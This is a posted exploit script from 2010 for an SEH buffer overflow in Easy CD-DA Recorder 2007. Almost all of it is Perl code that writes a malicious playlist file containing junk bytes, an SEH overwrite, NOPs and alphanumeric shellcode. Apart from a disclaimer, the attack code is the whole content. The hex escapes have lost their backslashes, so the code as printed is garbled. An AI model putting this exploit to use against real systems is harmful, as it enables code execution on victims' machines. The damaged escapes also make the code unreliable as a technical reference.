easycdda-overflow.txt
Posted on 08 June 2010
# Exploit Title : Easy CD-DA Recorder 2007 SEH Buffer Overflow # Date : June 7, 2010 # Author : chap0 [http://www.seek-truth.net] # Software Link : http://download.cnet.com/Easy-CD-DA-Recorder/3000-2646_4-10059726.html # Tested on : Windows XP SP3 En # Type of vuln : SEH # Greetz to : Corelan Security Team # The Crew : http://www.corelan.be:8800/index.php/security/corelan-team-members/ # Advisory : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048 # -------------------------------------------------------------------------------------- # Script provided 'as is', without any warranty. # Use for educational purposes only. # Do not use this code to do anything illegal ! # Corelan does not want anyone to use this script # for malicious and/or illegal purposes # Corelan cannot be held responsible for any illegal use. # # Note : you are not allowed to edit/modify this code. # If you do, Corelan cannot be held responsible for any damages this may cause. # # Code : print "|------------------------------------------------------------------| "; print "| __ __ | "; print "| _________ ________ / /___ _____ / /____ ____ _____ ___ | "; print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ | "; print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / | "; print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ | "; print "| | "; print "| http://www.corelan.be:8800 | "; print "| | "; print "|-------------------------------------------------[ EIP Hunters ]--| "; print "[+] Exploit for Easy CD-DA Recorder "; print "[+] Preparing payload "; sleep(1); my $junk="x41" x 1108; my $nseh="xebx06x90x90"; my $seh= "x70x80x08x10"; # ppr 0x10088070 [audconv.dll] my $nops="x90" x 24; my $shellcode= "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49". "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36". "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34". "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41". "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54". "x42x30x42x50x42x30x4bx38x45x44x4ex53x4bx48x4ex47". "x45x50x4ax37x41x30x4fx4ex4bx38x4fx44x4ax51x4bx38". "x4fx35x42x42x41x50x4bx4ex49x54x4bx38x46x43x4bx38". "x41x30x50x4ex41x33x42x4cx49x39x4ex4ax46x38x42x4c". "x46x47x47x50x41x4cx4cx4cx4dx50x41x30x44x4cx4bx4e". "x46x4fx4bx43x46x35x46x42x46x30x45x47x45x4ex4bx38". "x4fx45x46x52x41x30x4bx4ex48x36x4bx58x4ex50x4bx34". "x4bx58x4fx35x4ex51x41x50x4bx4ex4bx38x4ex31x4bx48". "x41x30x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x43". "x42x4cx46x56x4bx38x42x54x42x53x45x38x42x4cx4ax47". "x4ex30x4bx58x42x34x4ex30x4bx38x42x57x4ex51x4dx4a". "x4bx48x4ax36x4ax50x4bx4ex49x30x4bx48x42x58x42x4b". "x42x50x42x30x42x50x4bx38x4ax46x4ex53x4fx35x41x53". "x48x4fx42x56x48x55x49x48x4ax4fx43x48x42x4cx4bx37". "x42x45x4ax46x42x4fx4cx48x46x30x4fx55x4ax46x4ax39". "x50x4fx4cx48x50x50x47x35x4fx4fx47x4ex43x56x41x56". "x4ex46x43x46x42x30x5a"; $padding = "x41" x 10000; my $payload = $junk.$nseh.$seh.$nops.$shellcode.$padding; open (myfile, '>easy.pls'); print myfile $payload; close (myfile); print "[+] Storm the Gates of Hell "
